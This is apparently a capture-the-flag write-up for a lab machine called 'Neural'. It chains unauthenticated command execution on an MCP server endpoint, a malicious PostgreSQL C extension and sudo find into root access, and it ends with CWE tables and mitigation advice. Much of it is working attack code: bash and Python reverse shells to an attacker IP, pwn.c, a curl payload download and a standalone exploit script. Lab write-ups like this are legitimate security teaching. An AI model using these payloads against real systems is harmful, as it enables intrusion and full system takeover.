Target Information
- IP Address: 172.16.8.135
- Difficulty: Hard
- Tags: Web, MCP, RCE, PostgreSQL, Privilege Escalation, GTFOBins
Reconnaissance
Port Scanning
Initial enumeration with nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.8.135Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
The HTTP service redirects to http://neural.hc/. Added to /etc/hosts:
echo "172.16.8.135 neural.hc" >> /etc/hostsWeb Enumeration
Virtual Host Discovery
The first port scan against 172.16.8.135 revealed an HTTP redirect to http://neural.hc/ on port 80:
echo "172.16.8.135 neural.hc" >> /etc/hostsA second port scan — this time against the internal range — surfaced prod-mcp369.neural.hc resolving to 172.16.0.1:
echo "172.16.0.1 prod-mcp369.neural.hc" >> /etc/hostsMCP Server Endpoint Discovery
The subdomain prod-mcp369.neural.hc exposes an MCP (Model Context Protocol) server with an unauthenticated API endpoint at /api/mcp/connect.
Endpoint: POST /api/mcp/connect
Request:
POST /api/mcp/connect HTTP/1.1
Host: prod-mcp369.neural.hc
Content-Type: application/json
{
"serverConfig": {
"command": "id",
"args": [],
"env": {},
"timeout": 30000
},
"serverId": "test"
}The server accepts a serverConfig object with a command field and executes it directly — no authentication required.
Exploitation: MCP Unauthenticated RCE
Getting a Reverse Shell as nikolas
The /api/mcp/connect endpoint passes the serverConfig.command and args directly to the underlying process spawner without any sanitization or authentication. This allows arbitrary OS command execution as the application user (nikolas).
Listener:
nc -lvnp 4444Exploit:
python3 -c '
import urllib.request
import urllib.error
import json
TARGET = "172.16.8.135"
MCP_HOST = "prod-mcp369.neural.hc"
def req(method, path, data=None):
url = f"http://{TARGET}{path}"
body = json.dumps(data).encode() if data is not None else None
headers = {"Host": MCP_HOST, "Content-Type": "application/json"}
r = urllib.request.Request(url, data=body, method=method, headers=headers)
try:
resp = urllib.request.urlopen(r, timeout=20)
return resp.getcode(), resp.read().decode("utf-8", "ignore")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "ignore")
except Exception as e:
return 0, str(e)
payload = {
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/10.0.35.83/4444 0>&1"],
"env": {},
"timeout": 30000
},
"serverId": "revshell"
}
code, body = req("POST", "/api/mcp/connect", payload)
print("Status:", code)
print(body)
'Result:
[+] Got reverse shell as nikolasPost-Exploitation
Environment Enumeration
From the nikolas shell, we discover that PostgreSQL 17 is running locally and the postgres superuser has no password set:
psql -U postgrespsql (17.x)
Type "help" for help.
postgres=#
Findings:
- PostgreSQL 17 running locally, accessible without password as superuser
/bin/bashand/bin/share blocked (restricted shell environment)- Python3 is available at
/usr/bin/python3
Exploitation: PostgreSQL C Extension RCE
Building the Malicious Shared Library
Since bash and sh are blocked, a PostgreSQL C extension is used to spawn a Python3 reverse shell with a real PTY via pty.spawn.
pwn.c:
#include "postgres.h"
#include "fmgr.h"
#include <unistd.h>
PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pwn);
Datum pwn(PG_FUNCTION_ARGS) {
if (fork() == 0) {
setsid();
execl("/usr/bin/python3", "python3", "-c",
"import socket,os,pty;"
"s=socket.socket();"
"s.connect(('10.0.35.83',4445));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"pty.spawn('/usr/bin/python3')",
NULL);
_exit(0);
}
PG_RETURN_VOID();
}Compile against the exact PostgreSQL 17 headers using Docker to ensure ABI compatibility:
docker run --rm -v "$(pwd)":/host postgres:17-bookworm sh -c \
"apt-get update -qq && apt-get install -y -qq gcc postgresql-server-dev-17 && \
gcc -I\$(pg_config --includedir-server) -fPIC -shared -o /host/pwn.so /host/pwn.c"Uploading the .so to the Target
# From attacker machine
python3 -m http.server 8080
# From nikolas shell
curl http://10.0.35.83:8080/pwn.so -o /tmp/pwn.soLoading and Triggering the Extension
Listener:
nc -lvnp 4445Command:
CREATE OR REPLACE FUNCTION pwn() RETURNS void AS '/tmp/pwn.so', 'pwn' LANGUAGE C STRICT;
SELECT pwn();Result:
Python 3.12.3 ... on linux
>>>
Interactive Python3 shell with real PTY as postgres.
Privilege Escalation: sudo find (GTFOBins)
Enumeration
Check sudo permissions from the Python3 shell:
import subprocess; subprocess.call(['sudo', '-l'])Result:
User postgres may run the following commands on ip-172-16-4-0:
(ALL) NOPASSWD: /usr/bin/find
Exploitation
The postgres user can run /usr/bin/find as root without a password. Using find -exec with Python3 (since bash/sh are blocked) to spawn a root shell:
Listener:
nc -lvnp 4446Command:
import subprocess
subprocess.call([
'sudo', 'find', '.', '-exec',
'/usr/bin/python3', '-c',
'import os,pty,socket;s=socket.socket();s.connect(("10.0.35.83",4446));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
'os.setuid(0);os.setgid(0);pty.spawn("/usr/bin/python3")',
';'
])Result:
# Root Python3 shell received on port 4446
>>> import os; os.getuid()
0ROOT OBTAINED!
Reading the Flag
import subprocess; subprocess.call(['sudo', 'find', '/root/root.txt', '-exec', 'cat', '{}', ';'])Attack Chain Summary
1. Nmap scan — ports 22 (SSH) and 80 (HTTP/nginx → neural.hc)
↓
2. VHost discovery — prod-mcp369.neural.hc MCP server
↓
3. Unauthenticated RCE via POST /api/mcp/connect (serverConfig injection)
→ Shell as nikolas
↓
4. Local PostgreSQL 17 accessible as superuser without password
↓
5. PostgreSQL C extension (.so) loaded via CREATE FUNCTION + SELECT
→ Python3 pty.spawn shell as postgres (bash/sh blocked)
↓
6. sudo find NOPASSWD + find -exec python3 (GTFOBins)
→ Root shell
↓
7. Root Access — /root/root.txt
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| Unauthenticated RCE via MCP serverConfig | CWE-78 (OS Command Injection) | Critical | Remote code execution as application user |
| PostgreSQL superuser without password | CWE-521 (Weak Password Requirements) | High | Full database compromise and OS command execution |
| PostgreSQL C extension loading from /tmp | CWE-114 (Process Control) | High | Arbitrary code execution as postgres OS user |
| sudo find NOPASSWD misconfiguration | CWE-269 (Improper Privilege Management) | High | Full privilege escalation to root |
Mitigation Recommendations
Application Level
-
Authenticate the MCP /api/mcp/connect endpoint:
- Require API key or session token before accepting serverConfig
- Validate and whitelist allowed commands; never pass user-controlled input directly to a process spawner
-
Restrict PostgreSQL authentication:
- Set a strong password for the
postgressuperuser - Configure
pg_hba.confto requiremd5orscram-sha-256even for local connections
- Set a strong password for the
# pg_hba.conf — replace "trust" with "scram-sha-256"
local all postgres scram-sha-256- Disable dynamic library loading from untrusted paths:
- Set
dynamic_library_pathto only include trusted directories - Restrict write access to PostgreSQL library directories
- Set
System Level
- Remove NOPASSWD sudo for find:
# /etc/sudoers — remove or restrict the rule
# postgres ALL=(ALL) NOPASSWD: /usr/bin/find- Apply principle of least privilege — the
postgresOS user should not have any sudo rights.
Tools Used
- nmap - Network port scanner and service fingerprinter
- Python3 urllib - Custom HTTP client for MCP API exploitation
- Docker (postgres:17-bookworm) - Cross-compilation environment for PostgreSQL C extensions
- netcat (nc) - Reverse shell listener
- GTFOBins - Unix binary privilege escalation reference
Proof of Concept Scripts
MCP RCE — Reverse Shell
#!/usr/bin/env python3
import urllib.request
import urllib.error
import json
TARGET = "172.16.8.135"
MCP_HOST = "prod-mcp369.neural.hc"
LHOST = "10.0.35.83"
LPORT = 4444
def req(method, path, data=None):
url = f"http://{TARGET}{path}"
body = json.dumps(data).encode() if data is not None else None
headers = {"Host": MCP_HOST, "Content-Type": "application/json"}
r = urllib.request.Request(url, data=body, method=method, headers=headers)
try:
resp = urllib.request.urlopen(r, timeout=20)
return resp.getcode(), resp.read().decode("utf-8", "ignore")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "ignore")
except Exception as e:
return 0, str(e)
payload = {
"serverConfig": {
"command": "bash",
"args": ["-c", f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"],
"env": {},
"timeout": 30000
},
"serverId": "revshell"
}
code, body = req("POST", "/api/mcp/connect", payload)
print("Status:", code)
print(body)Flags
Root Flag: /root/root.txt
References
CWE References:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-521: Weak Password Requirements
- CWE-269: Improper Privilege Management
- CWE-114: Process Control
Author: cbxcvl Date: 2026-03-30 Machine: Neural